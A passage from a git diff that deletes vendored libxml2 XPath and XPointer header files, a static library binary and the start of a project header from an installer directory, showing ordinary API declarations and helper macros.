XMLCALL - xmlXPathCastToBoolean (xmlXPathObjectPtr val); - -XMLPUBFUN double XMLCALL - xmlXPathCastBooleanToNumber (int val); -XMLPUBFUN double XMLCALL - xmlXPathCastStringToNumber (const xmlChar * val); -XMLPUBFUN double XMLCALL - xmlXPathCastNodeToNumber (xmlNodePtr node); -XMLPUBFUN double XMLCALL - xmlXPathCastNodeSetToNumber (xmlNodeSetPtr ns); -XMLPUBFUN double XMLCALL - xmlXPathCastToNumber (xmlXPathObjectPtr val); - -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastBooleanToString (int val); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastNumberToString (double val); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastNodeToString (xmlNodePtr node); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastNodeSetToString (xmlNodeSetPtr ns); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathCastToString (xmlXPathObjectPtr val); - -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathConvertBoolean (xmlXPathObjectPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathConvertNumber (xmlXPathObjectPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathConvertString (xmlXPathObjectPtr val); - -/** - * Context handling. - */ -XMLPUBFUN xmlXPathContextPtr XMLCALL - xmlXPathNewContext (xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlXPathFreeContext (xmlXPathContextPtr ctxt); -XMLPUBFUN int XMLCALL - xmlXPathContextSetCache(xmlXPathContextPtr ctxt, - int active, - int value, - int options); -/** - * Evaluation functions. - */ -XMLPUBFUN long XMLCALL - xmlXPathOrderDocElems (xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlXPathSetContextNode (xmlNodePtr node, - xmlXPathContextPtr ctx); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNodeEval (xmlNodePtr node, - const xmlChar *str, - xmlXPathContextPtr ctx); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathEval (const xmlChar *str, - xmlXPathContextPtr ctx); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathEvalExpression (const xmlChar *str, - xmlXPathContextPtr ctxt); -XMLPUBFUN int XMLCALL - xmlXPathEvalPredicate (xmlXPathContextPtr ctxt, - xmlXPathObjectPtr res); -/** - * Separate compilation/evaluation entry points. - */ -XMLPUBFUN xmlXPathCompExprPtr XMLCALL - xmlXPathCompile (const xmlChar *str); -XMLPUBFUN xmlXPathCompExprPtr XMLCALL - xmlXPathCtxtCompile (xmlXPathContextPtr ctxt, - const xmlChar *str); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathCompiledEval (xmlXPathCompExprPtr comp, - xmlXPathContextPtr ctx); -XMLPUBFUN int XMLCALL - xmlXPathCompiledEvalToBoolean(xmlXPathCompExprPtr comp, - xmlXPathContextPtr ctxt); -XMLPUBFUN void XMLCALL - xmlXPathFreeCompExpr (xmlXPathCompExprPtr comp); -#endif /* LIBXML_XPATH_ENABLED */ -#if defined(LIBXML_XPATH_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN void XMLCALL - xmlXPathInit (void); -XMLPUBFUN int XMLCALL - xmlXPathIsNaN (double val); -XMLPUBFUN int XMLCALL - xmlXPathIsInf (double val); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPATH_ENABLED or LIBXML_SCHEMAS_ENABLED*/ -#endif /* ! __XML_XPATH_H__ */ diff --git a/installer/libxml2/include/libxml/xpathInternals.h b/installer/libxml2/include/libxml/xpathInternals.h deleted file mode 100644 index 76a6b48..0000000 --- a/installer/libxml2/include/libxml/xpathInternals.h +++ /dev/null @@ -1,632 +0,0 @@ -/* - * Summary: internal interfaces for XML Path Language implementation - * Description: internal interfaces for XML Path Language implementation - * used to build new modules on top of XPath like XPointer and - * XSLT - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XPATH_INTERNALS_H__ -#define __XML_XPATH_INTERNALS_H__ - -#include -#include - -#ifdef LIBXML_XPATH_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/************************************************************************ - * * - * Helpers * - * * - ************************************************************************/ - -/* - * Many of these macros may later turn into functions. They - * shouldn't be used in #ifdef's preprocessor instructions. - */ -/** - * xmlXPathSetError: - * @ctxt: an XPath parser context - * @err: an xmlXPathError code - * - * Raises an error. - */ -#define xmlXPathSetError(ctxt, err) \ - { xmlXPatherror((ctxt), __FILE__, __LINE__, (err)); \ - if ((ctxt) != NULL) (ctxt)->error = (err); } - -/** - * xmlXPathSetArityError: - * @ctxt: an XPath parser context - * - * Raises an XPATH_INVALID_ARITY error. - */ -#define xmlXPathSetArityError(ctxt) \ - xmlXPathSetError((ctxt), XPATH_INVALID_ARITY) - -/** - * xmlXPathSetTypeError: - * @ctxt: an XPath parser context - * - * Raises an XPATH_INVALID_TYPE error. - */ -#define xmlXPathSetTypeError(ctxt) \ - xmlXPathSetError((ctxt), XPATH_INVALID_TYPE) - -/** - * xmlXPathGetError: - * @ctxt: an XPath parser context - * - * Get the error code of an XPath context. - * - * Returns the context error. - */ -#define xmlXPathGetError(ctxt) ((ctxt)->error) - -/** - * xmlXPathCheckError: - * @ctxt: an XPath parser context - * - * Check if an XPath error was raised. - * - * Returns true if an error has been raised, false otherwise. - */ -#define xmlXPathCheckError(ctxt) ((ctxt)->error != XPATH_EXPRESSION_OK) - -/** - * xmlXPathGetDocument: - * @ctxt: an XPath parser context - * - * Get the document of an XPath context. - * - * Returns the context document. - */ -#define xmlXPathGetDocument(ctxt) ((ctxt)->context->doc) - -/** - * xmlXPathGetContextNode: - * @ctxt: an XPath parser context - * - * Get the context node of an XPath context. - * - * Returns the context node. - */ -#define xmlXPathGetContextNode(ctxt) ((ctxt)->context->node) - -XMLPUBFUN int XMLCALL - xmlXPathPopBoolean (xmlXPathParserContextPtr ctxt); -XMLPUBFUN double XMLCALL - xmlXPathPopNumber (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathPopString (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathPopNodeSet (xmlXPathParserContextPtr ctxt); -XMLPUBFUN void * XMLCALL - xmlXPathPopExternal (xmlXPathParserContextPtr ctxt); - -/** - * xmlXPathReturnBoolean: - * @ctxt: an XPath parser context - * @val: a boolean - * - * Pushes the boolean @val on the context stack. - */ -#define xmlXPathReturnBoolean(ctxt, val) \ - valuePush((ctxt), xmlXPathNewBoolean(val)) - -/** - * xmlXPathReturnTrue: - * @ctxt: an XPath parser context - * - * Pushes true on the context stack. - */ -#define xmlXPathReturnTrue(ctxt) xmlXPathReturnBoolean((ctxt), 1) - -/** - * xmlXPathReturnFalse: - * @ctxt: an XPath parser context - * - * Pushes false on the context stack. - */ -#define xmlXPathReturnFalse(ctxt) xmlXPathReturnBoolean((ctxt), 0) - -/** - * xmlXPathReturnNumber: - * @ctxt: an XPath parser context - * @val: a double - * - * Pushes the double @val on the context stack. - */ -#define xmlXPathReturnNumber(ctxt, val) \ - valuePush((ctxt), xmlXPathNewFloat(val)) - -/** - * xmlXPathReturnString: - * @ctxt: an XPath parser context - * @str: a string - * - * Pushes the string @str on the context stack. - */ -#define xmlXPathReturnString(ctxt, str) \ - valuePush((ctxt), xmlXPathWrapString(str)) - -/** - * xmlXPathReturnEmptyString: - * @ctxt: an XPath parser context - * - * Pushes an empty string on the stack. - */ -#define xmlXPathReturnEmptyString(ctxt) \ - valuePush((ctxt), xmlXPathNewCString("")) - -/** - * xmlXPathReturnNodeSet: - * @ctxt: an XPath parser context - * @ns: a node-set - * - * Pushes the node-set @ns on the context stack. - */ -#define xmlXPathReturnNodeSet(ctxt, ns) \ - valuePush((ctxt), xmlXPathWrapNodeSet(ns)) - -/** - * xmlXPathReturnEmptyNodeSet: - * @ctxt: an XPath parser context - * - * Pushes an empty node-set on the context stack. - */ -#define xmlXPathReturnEmptyNodeSet(ctxt) \ - valuePush((ctxt), xmlXPathNewNodeSet(NULL)) - -/** - * xmlXPathReturnExternal: - * @ctxt: an XPath parser context - * @val: user data - * - * Pushes user data on the context stack. - */ -#define xmlXPathReturnExternal(ctxt, val) \ - valuePush((ctxt), xmlXPathWrapExternal(val)) - -/** - * xmlXPathStackIsNodeSet: - * @ctxt: an XPath parser context - * - * Check if the current value on the XPath stack is a node set or - * an XSLT value tree. - * - * Returns true if the current object on the stack is a node-set. - */ -#define xmlXPathStackIsNodeSet(ctxt) \ - (((ctxt)->value != NULL) \ - && (((ctxt)->value->type == XPATH_NODESET) \ - || ((ctxt)->value->type == XPATH_XSLT_TREE))) - -/** - * xmlXPathStackIsExternal: - * @ctxt: an XPath parser context - * - * Checks if the current value on the XPath stack is an external - * object. - * - * Returns true if the current object on the stack is an external - * object. - */ -#define xmlXPathStackIsExternal(ctxt) \ - ((ctxt->value != NULL) && (ctxt->value->type == XPATH_USERS)) - -/** - * xmlXPathEmptyNodeSet: - * @ns: a node-set - * - * Empties a node-set. - */ -#define xmlXPathEmptyNodeSet(ns) \ - { while ((ns)->nodeNr > 0) (ns)->nodeTab[--(ns)->nodeNr] = NULL; } - -/** - * CHECK_ERROR: - * - * Macro to return from the function if an XPath error was detected. - */ -#define CHECK_ERROR \ - if (ctxt->error != XPATH_EXPRESSION_OK) return - -/** - * CHECK_ERROR0: - * - * Macro to return 0 from the function if an XPath error was detected. - */ -#define CHECK_ERROR0 \ - if (ctxt->error != XPATH_EXPRESSION_OK) return(0) - -/** - * XP_ERROR: - * @X: the error code - * - * Macro to raise an XPath error and return. - */ -#define XP_ERROR(X) \ - { xmlXPathErr(ctxt, X); return; } - -/** - * XP_ERROR0: - * @X: the error code - * - * Macro to raise an XPath error and return 0. - */ -#define XP_ERROR0(X) \ - { xmlXPathErr(ctxt, X); return(0); } - -/** - * CHECK_TYPE: - * @typeval: the XPath type - * - * Macro to check that the value on top of the XPath stack is of a given - * type. - */ -#define CHECK_TYPE(typeval) \ - if ((ctxt->value == NULL) || (ctxt->value->type != typeval)) \ - XP_ERROR(XPATH_INVALID_TYPE) - -/** - * CHECK_TYPE0: - * @typeval: the XPath type - * - * Macro to check that the value on top of the XPath stack is of a given - * type. Return(0) in case of failure - */ -#define CHECK_TYPE0(typeval) \ - if ((ctxt->value == NULL) || (ctxt->value->type != typeval)) \ - XP_ERROR0(XPATH_INVALID_TYPE) - -/** - * CHECK_ARITY: - * @x: the number of expected args - * - * Macro to check that the number of args passed to an XPath function matches. - */ -#define CHECK_ARITY(x) \ - if (ctxt == NULL) return; \ - if (nargs != (x)) \ - XP_ERROR(XPATH_INVALID_ARITY); \ - if (ctxt->valueNr < ctxt->valueFrame + (x)) \ - XP_ERROR(XPATH_STACK_ERROR); - -/** - * CAST_TO_STRING: - * - * Macro to try to cast the value on the top of the XPath stack to a string. - */ -#define CAST_TO_STRING \ - if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_STRING)) \ - xmlXPathStringFunction(ctxt, 1); - -/** - * CAST_TO_NUMBER: - * - * Macro to try to cast the value on the top of the XPath stack to a number. - */ -#define CAST_TO_NUMBER \ - if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_NUMBER)) \ - xmlXPathNumberFunction(ctxt, 1); - -/** - * CAST_TO_BOOLEAN: - * - * Macro to try to cast the value on the top of the XPath stack to a boolean. - */ -#define CAST_TO_BOOLEAN \ - if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_BOOLEAN)) \ - xmlXPathBooleanFunction(ctxt, 1); - -/* - * Variable Lookup forwarding. - */ - -XMLPUBFUN void XMLCALL - xmlXPathRegisterVariableLookup (xmlXPathContextPtr ctxt, - xmlXPathVariableLookupFunc f, - void *data); - -/* - * Function Lookup forwarding. - */ - -XMLPUBFUN void XMLCALL - xmlXPathRegisterFuncLookup (xmlXPathContextPtr ctxt, - xmlXPathFuncLookupFunc f, - void *funcCtxt); - -/* - * Error reporting. - */ -XMLPUBFUN void XMLCALL - xmlXPatherror (xmlXPathParserContextPtr ctxt, - const char *file, - int line, - int no); - -XMLPUBFUN void XMLCALL - xmlXPathErr (xmlXPathParserContextPtr ctxt, - int error); - -#ifdef LIBXML_DEBUG_ENABLED -XMLPUBFUN void XMLCALL - xmlXPathDebugDumpObject (FILE *output, - xmlXPathObjectPtr cur, - int depth); -XMLPUBFUN void XMLCALL - xmlXPathDebugDumpCompExpr(FILE *output, - xmlXPathCompExprPtr comp, - int depth); -#endif -/** - * NodeSet handling. - */ -XMLPUBFUN int XMLCALL - xmlXPathNodeSetContains (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathDifference (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathIntersection (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathDistinctSorted (xmlNodeSetPtr nodes); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathDistinct (xmlNodeSetPtr nodes); - -XMLPUBFUN int XMLCALL - xmlXPathHasSameNodes (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeLeadingSorted (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathLeadingSorted (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeLeading (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathLeading (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeTrailingSorted (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathTrailingSorted (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeTrailing (xmlNodeSetPtr nodes, - xmlNodePtr node); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathTrailing (xmlNodeSetPtr nodes1, - xmlNodeSetPtr nodes2); - - -/** - * Extending a context. - */ - -XMLPUBFUN int XMLCALL - xmlXPathRegisterNs (xmlXPathContextPtr ctxt, - const xmlChar *prefix, - const xmlChar *ns_uri); -XMLPUBFUN const xmlChar * XMLCALL - xmlXPathNsLookup (xmlXPathContextPtr ctxt, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - xmlXPathRegisteredNsCleanup (xmlXPathContextPtr ctxt); - -XMLPUBFUN int XMLCALL - xmlXPathRegisterFunc (xmlXPathContextPtr ctxt, - const xmlChar *name, - xmlXPathFunction f); -XMLPUBFUN int XMLCALL - xmlXPathRegisterFuncNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri, - xmlXPathFunction f); -XMLPUBFUN int XMLCALL - xmlXPathRegisterVariable (xmlXPathContextPtr ctxt, - const xmlChar *name, - xmlXPathObjectPtr value); -XMLPUBFUN int XMLCALL - xmlXPathRegisterVariableNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri, - xmlXPathObjectPtr value); -XMLPUBFUN xmlXPathFunction XMLCALL - xmlXPathFunctionLookup (xmlXPathContextPtr ctxt, - const xmlChar *name); -XMLPUBFUN xmlXPathFunction XMLCALL - xmlXPathFunctionLookupNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri); -XMLPUBFUN void XMLCALL - xmlXPathRegisteredFuncsCleanup (xmlXPathContextPtr ctxt); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathVariableLookup (xmlXPathContextPtr ctxt, - const xmlChar *name); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathVariableLookupNS (xmlXPathContextPtr ctxt, - const xmlChar *name, - const xmlChar *ns_uri); -XMLPUBFUN void XMLCALL - xmlXPathRegisteredVariablesCleanup(xmlXPathContextPtr ctxt); - -/** - * Utilities to extend XPath. - */ -XMLPUBFUN xmlXPathParserContextPtr XMLCALL - xmlXPathNewParserContext (const xmlChar *str, - xmlXPathContextPtr ctxt); -XMLPUBFUN void XMLCALL - xmlXPathFreeParserContext (xmlXPathParserContextPtr ctxt); - -/* TODO: remap to xmlXPathValuePop and Push. */ -XMLPUBFUN xmlXPathObjectPtr XMLCALL - valuePop (xmlXPathParserContextPtr ctxt); -XMLPUBFUN int XMLCALL - valuePush (xmlXPathParserContextPtr ctxt, - xmlXPathObjectPtr value); - -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewString (const xmlChar *val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewCString (const char *val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapString (xmlChar *val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapCString (char * val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewFloat (double val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewBoolean (int val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewNodeSet (xmlNodePtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewValueTree (xmlNodePtr val); -XMLPUBFUN int XMLCALL - xmlXPathNodeSetAdd (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN int XMLCALL - xmlXPathNodeSetAddUnique (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN int XMLCALL - xmlXPathNodeSetAddNs (xmlNodeSetPtr cur, - xmlNodePtr node, - xmlNsPtr ns); -XMLPUBFUN void XMLCALL - xmlXPathNodeSetSort (xmlNodeSetPtr set); - -XMLPUBFUN void XMLCALL - xmlXPathRoot (xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL - xmlXPathEvalExpr (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathParseName (xmlXPathParserContextPtr ctxt); -XMLPUBFUN xmlChar * XMLCALL - xmlXPathParseNCName (xmlXPathParserContextPtr ctxt); - -/* - * Existing functions. - */ -XMLPUBFUN double XMLCALL - xmlXPathStringEvalNumber (const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlXPathEvaluatePredicateResult (xmlXPathParserContextPtr ctxt, - xmlXPathObjectPtr res); -XMLPUBFUN void XMLCALL - xmlXPathRegisterAllFunctions (xmlXPathContextPtr ctxt); -XMLPUBFUN xmlNodeSetPtr XMLCALL - xmlXPathNodeSetMerge (xmlNodeSetPtr val1, - xmlNodeSetPtr val2); -XMLPUBFUN void XMLCALL - xmlXPathNodeSetDel (xmlNodeSetPtr cur, - xmlNodePtr val); -XMLPUBFUN void XMLCALL - xmlXPathNodeSetRemove (xmlNodeSetPtr cur, - int val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathNewNodeSetList (xmlNodeSetPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapNodeSet (xmlNodeSetPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPathWrapExternal (void *val); - -XMLPUBFUN int XMLCALL xmlXPathEqualValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN int XMLCALL xmlXPathNotEqualValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN int XMLCALL xmlXPathCompareValues(xmlXPathParserContextPtr ctxt, int inf, int strict); -XMLPUBFUN void XMLCALL xmlXPathValueFlipSign(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathAddValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathSubValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathMultValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathDivValues(xmlXPathParserContextPtr ctxt); -XMLPUBFUN void XMLCALL xmlXPathModValues(xmlXPathParserContextPtr ctxt); - -XMLPUBFUN int XMLCALL xmlXPathIsNodeType(const xmlChar *name); - -/* - * Some of the axis navigation routines. - */ -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextSelf(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextChild(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextDescendant(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextDescendantOrSelf(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextParent(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAncestorOrSelf(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextFollowingSibling(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextFollowing(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextNamespace(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAttribute(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextPreceding(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextAncestor(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -XMLPUBFUN xmlNodePtr XMLCALL xmlXPathNextPrecedingSibling(xmlXPathParserContextPtr ctxt, - xmlNodePtr cur); -/* - * The official core of XPath functions. - */ -XMLPUBFUN void XMLCALL xmlXPathLastFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathPositionFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathCountFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathIdFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathLocalNameFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNamespaceURIFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathStringFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathStringLengthFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathConcatFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathContainsFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathStartsWithFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSubstringFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSubstringBeforeFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSubstringAfterFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNormalizeFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathTranslateFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNotFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathTrueFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathFalseFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathLangFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathNumberFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathSumFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathFloorFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathCeilingFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathRoundFunction(xmlXPathParserContextPtr ctxt, int nargs); -XMLPUBFUN void XMLCALL xmlXPathBooleanFunction(xmlXPathParserContextPtr ctxt, int nargs); - -/** - * Really internal functions - */ -XMLPUBFUN void XMLCALL xmlXPathNodeSetFreeNs(xmlNsPtr ns); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPATH_ENABLED */ -#endif /* ! __XML_XPATH_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/xpointer.h b/installer/libxml2/include/libxml/xpointer.h deleted file mode 100644 index b99112b..0000000 --- a/installer/libxml2/include/libxml/xpointer.h +++ /dev/null @@ -1,114 +0,0 @@ -/* - * Summary: API to handle XML Pointers - * Description: API to handle XML Pointers - * Base implementation was made accordingly to - * W3C Candidate Recommendation 7 June 2000 - * http://www.w3.org/TR/2000/CR-xptr-20000607 - * - * Added support for the element() scheme described in: - * W3C Proposed Recommendation 13 November 2002 - * http://www.w3.org/TR/2002/PR-xptr-element-20021113/ - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XPTR_H__ -#define __XML_XPTR_H__ - -#include - -#ifdef LIBXML_XPTR_ENABLED - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * A Location Set - */ -typedef struct _xmlLocationSet xmlLocationSet; -typedef xmlLocationSet *xmlLocationSetPtr; -struct _xmlLocationSet { - int locNr; /* number of locations in the set */ - int locMax; /* size of the array as allocated */ - xmlXPathObjectPtr *locTab;/* array of locations */ -}; - -/* - * Handling of location sets. - */ - -XMLPUBFUN xmlLocationSetPtr XMLCALL - xmlXPtrLocationSetCreate (xmlXPathObjectPtr val); -XMLPUBFUN void XMLCALL - xmlXPtrFreeLocationSet (xmlLocationSetPtr obj); -XMLPUBFUN xmlLocationSetPtr XMLCALL - xmlXPtrLocationSetMerge (xmlLocationSetPtr val1, - xmlLocationSetPtr val2); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRange (xmlNodePtr start, - int startindex, - xmlNodePtr end, - int endindex); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangePoints (xmlXPathObjectPtr start, - xmlXPathObjectPtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangeNodePoint (xmlNodePtr start, - xmlXPathObjectPtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangePointNode (xmlXPathObjectPtr start, - xmlNodePtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangeNodes (xmlNodePtr start, - xmlNodePtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewLocationSetNodes (xmlNodePtr start, - xmlNodePtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewLocationSetNodeSet(xmlNodeSetPtr set); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewRangeNodeObject (xmlNodePtr start, - xmlXPathObjectPtr end); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrNewCollapsedRange (xmlNodePtr start); -XMLPUBFUN void XMLCALL - xmlXPtrLocationSetAdd (xmlLocationSetPtr cur, - xmlXPathObjectPtr val); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrWrapLocationSet (xmlLocationSetPtr val); -XMLPUBFUN void XMLCALL - xmlXPtrLocationSetDel (xmlLocationSetPtr cur, - xmlXPathObjectPtr val); -XMLPUBFUN void XMLCALL - xmlXPtrLocationSetRemove (xmlLocationSetPtr cur, - int val); - -/* - * Functions. - */ -XMLPUBFUN xmlXPathContextPtr XMLCALL - xmlXPtrNewContext (xmlDocPtr doc, - xmlNodePtr here, - xmlNodePtr origin); -XMLPUBFUN xmlXPathObjectPtr XMLCALL - xmlXPtrEval (const xmlChar *str, - xmlXPathContextPtr ctx); -XMLPUBFUN void XMLCALL - xmlXPtrRangeToFunction (xmlXPathParserContextPtr ctxt, - int nargs); -XMLPUBFUN xmlNodePtr XMLCALL - xmlXPtrBuildNodeList (xmlXPathObjectPtr obj); -XMLPUBFUN void XMLCALL - xmlXPtrEvalRangePredicate (xmlXPathParserContextPtr ctxt); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPTR_ENABLED */ -#endif /* __XML_XPTR_H__ */ diff --git a/installer/libxml2/lib/libxml2.a b/installer/libxml2/lib/libxml2.a deleted file mode 100644 index ec8a1cd..0000000 Binary files a/installer/libxml2/lib/libxml2.a and /dev/null differ diff --git a/installer/src/common/common.h b/installer/src/common/common.h deleted file mode 100644 index 538b5ad..0000000 --- a/installer/src/common/common.h +++ /dev/null @@ -1,36 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include 